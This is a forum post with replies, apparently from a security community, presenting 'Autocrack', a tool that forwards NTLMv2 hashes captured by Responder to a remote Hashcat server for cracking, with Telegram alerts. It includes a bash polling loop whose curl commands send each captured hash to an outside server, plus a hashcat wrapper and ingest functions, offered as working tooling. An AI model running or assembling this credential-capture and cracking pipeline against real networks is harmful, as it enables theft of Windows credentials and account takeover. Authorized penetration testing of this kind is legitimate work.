Autocrack - A Responder to Hashcat Queue with Notifications

Hello, 0x00ers!

In today’s article I’m going to be showing you how to set up something that allows you to automagically send hashes directly from Responder as soon as they’re captured.

Once a new NTLMv2 hash has been caught by Responder, the notify.sh script will poll the sqlite database that Responder stores its hashes in every 10 seconds. If it discovers a change, it will identify the new hash.

Responder Client

while true
do
	hashes=$(./UpHash.py | tr ' ' '\n')
	new_hash="$(echo $hashes | sha256sum)"

	if [[ "$new_hash" != "$last_hash"  ]]
	then
		for hash in $hashes
		do 
			if [[ ! $old_hashes =~ "$hash"  ]]
			then
				echo "we got a new hash! $new_hash"
				echo "HASH: $hash"
				short=$(echo $hash | cut -d ":" -f 1-4)
				curl -X POST -H 'Content-Type: application/json' -d "{\"chat_id\": \"$chat_id\", \"text\": \"Hash caught: $short :)\"}" https://api.telegram.org/bot$telegram_key/sendMessage
                curl -X POST --data "key=$hashcat_key&hash=$hash" $url/submit &
			fi
		done
	fi

	sleep 10
	last_hash="$new_hash"
	old_hashes="$hashes"
done

For this part to work, you need a Telegram bot and keys, I have written up how you can obtain this here:

Hashcat Server

Now, to the server. So it is absolutely possible that you can use something like Hastroplis, I’ve not looked into it very hard but I didn’t have an entire machine to wipe and use JUST for hacking.

So instead I just wrote a quick bash wrapper for Hashcat, it reads a new hash from a Linux named pipe I named /tmp/hashpipe. It will read each line that goes into the FIFO pipe, truncate the hash into a readable format, then store the original hash in a file, and then begin to crack it. The hashcat server script also has Telegram notifications, so if it cracks successfully, then you get a message, if it fails, it will let you know!

I’m really sorry about screenshots, but I’m on a sensitive engagement and so I can’t really share hash names (even if redacted) because it would be obvious.

This is the server:

When you start it with ./autocrack, it will start a HTTP server on port 8182. To very quickly enable this to be accessible over the internet, you can run ngrok http 8182, and it will automatically get you a public address with a valid certificate.

The webserver is ruby with sinatra, so you’ll need Ruby installed and you’ll need to run bundle install inside the autocrack directory.

You’ll also notice a master key is generated for the server, you’ll need to put this key into your notify.sh script from the ResponderNotify repo.

Once you have this all setup, it really makes those longer-term engagements a lot nicer and means that you don’t have to be glued to your responder window 24/7, you can just sit back and let it work its magic.

crack() {
    hash="$1"
    name="$2"
    mode="$3"
    outfile="cracked/$name"
    infile="hashes/$name"
    time_started=$(date +%D-%T)
    job="{\"job\":\"$name\",\"wordlist\":\"$wordlist\",\"rules\":\"$rules\",\"mode\":\"$mode\", \"time_started\":\"$time_started\"}"
    echo $job | jq > status.json
    echo $job >> jobs_log.json

    echo $line >> $infile
    
    # You should load up your full list here
    echo "Starting hashcat..."
    hashcat -a 0 -m $mode $infile -o $outfile $wordlist -r $rules 
}

Reading through autocrack too, you may notice a serious lack of hashcat commands. This is just a PoC, and should definitely be modified to make your workflow better. If you want to open a pull request and make it better, please do so!

We could maybe add some modularity too so people can share their hashcat methodologies. Hmm.

Ingest Functions

I also wrote a few functions last night too, by sourcing the functions.sh file, you can run both:

source functions.sh
ingesthash "<NTLMV2HASH>"
ingesthashfile <hashes.txt>

Either ‘ingesting’ a list of hashes, or a single hash inside quotes.

Conclusion

In conclusion, setting up your own Responder -> Hashcat pipeline is really easy, and if you have any trouble setting this up please message me on the 0x00sec Discord and I’ll try my best to help you out :slight_smile:

Stay snapper 0x00ers!

<3

5 Likes

Damn it, now I’m going to want to spend my whole weekend wiring this up to AWS p3 instances…

(this is very cool, thank you for sharing!)

3 Likes

That’s my next thing to tackle!

Problem is though that you’d need to run the instance for a weekend because it has to wait and listen. SO I don’t know how you’d have it work. I’m in a situation where I’m getting hashes sporadically throughout the day.

I actually have a project that a friend and I did for BSides ATL this year that used CloudFormation and boto3 to spin up temporary p3 instances based on sending hashes to message queues. We’re working on making the repo public soon, but you can check out our presentation here:

2 Likes

This is badass!!!

How are you catching the hashes from Responder, the SQLite db?

1 Like

The way we’ve written it (for now) hashes have to be submitted manually as CLI arguments, so it means going into the Responder session files (clunky, I know) and parsing them to be sent off to AWS.